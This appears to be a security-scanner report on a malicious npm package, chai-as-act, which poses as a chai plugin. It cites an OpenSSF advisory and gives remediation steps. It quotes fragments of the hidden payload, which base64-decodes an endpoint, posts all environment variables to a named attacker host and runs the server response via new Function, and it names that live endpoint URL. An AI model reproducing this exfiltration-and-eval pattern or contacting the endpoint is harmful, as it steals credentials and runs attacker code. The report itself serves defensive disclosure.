chai-as-act
This report shows the evidence for chai-as-act@1.0.2, the only known version.
This package appears in our research on the fake chai plugin campaign, with how it works, the full package list and what to do if you installed it.
OpenSSF/OSV Malicious Advisory
imported 3mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-10607 confirms this npm version as malicious.
Advisory
MAL-2026-10607
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in chai-as-act (npm)
Details
The package masquerades as a chai plugin but ships the pino logger source tree plus an additional payload file lib/initializeCaller.js. That file is a top-level IIFE that base64-decodes a hardcoded URL stored under a fake process.env.DEV_API_KEY literal (decoding to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df), POSTs the entire process.env of the loading process to that endpoint via axios, then passes the HTTP response body to `new Function("require", response.data)(require)`, executing attacker-supplied JavaScript in-process with full Node privileges and access to the real `require`. Loading the package sends all environment variables (which on CI and developer machines commonly include tokens, cloud credentials, and registry auth) to an attacker-controlled host and runs arbitrary attacker code on the installer's machine. The base64 encoding of the destination and the misleading package name/README relative to the shipped file layout indicate deliberate obfuscation.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The package contains a concrete remote-code execution primitive, but static source inspection shows no lifecycle hook or reachable import path activating it. Flag as a staged payload carrier rather than block for an active install-time attack.
Static reason
One or more suspicious static signals were detected.
Trigger
A consumer or another package explicitly loads `lib/initializeCaller.js`.
Impact
Arbitrary code execution in the importing process.
Mechanism
HTTP fetch followed by `new Function` execution of server-controlled code.
AI rationale
The package contains a concrete remote-code execution primitive, but static source inspection shows no lifecycle hook or reachable import path activating it. Flag as a staged payload carrier rather than block for an active install-time attack.
Evidence
lib/initializeCaller.jspackage.json
Network endpoints1
ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df
Independent scan evidence
public snapshotAI called this Suspicious at 98.0% confidence as Dangerous Capability with low false-positive risk.
Evidence for AI warning decision
- `lib/initializeCaller.js` immediately posts to a Base64-obscured endpoint.
- It passes the response body to `new Function` and executes it with `require`.
- The initializer is not package-aligned with the claimed logger sources.
Evidence against
- `package.json` contains no preinstall, install, or postinstall hook.
- No package source imports or requires `lib/initializeCaller.js`.
- `package.json` main `index.js` is absent, so normal package import cannot reach it.
Behavioral surface
ChildProcessEnvironmentVarsEvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
4 flagged · loading sourcelib/initializeCaller.jsView file
28.then(response => {
L29: const executor = new Function("require", response.data);
L30: executor(require);
High
13const apiEndpoint = atob(process.env.DEV_API_KEY);
L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY);
L15: const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE);
...
L22:
L23: await axios.post(
L24: apiEndpoint,
...
L28: .then(response => {
L29: const executor = new Function("require", response.data);
L30: executor(require);
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
lib/initializeCaller.jsView on unpkg · L132L3: const axios = require("axios");
L4: const process = {
...
L12: (async function initializeCaller(..._args) {
L13: const apiEndpoint = atob(process.env.DEV_API_KEY);
L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY);
...
L22:
L23: await axios.post(
L24: apiEndpoint,
...
L28: .then(response => {
L29: const executor = new Function("require", response.data);
L30: executor(require);
High
Findings
4 High3 Medium3 Low
HighChild Process
HighEvallib/initializeCaller.js
HighSame File Env Network Executionlib/initializeCaller.js
HighBase64 Obscured Urllib/initializeCaller.js
MediumNetwork
MediumEnvironment Vars
MediumSecret Patterndocs/transports.md
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to chai-as-act@1.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing chai-as-act@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.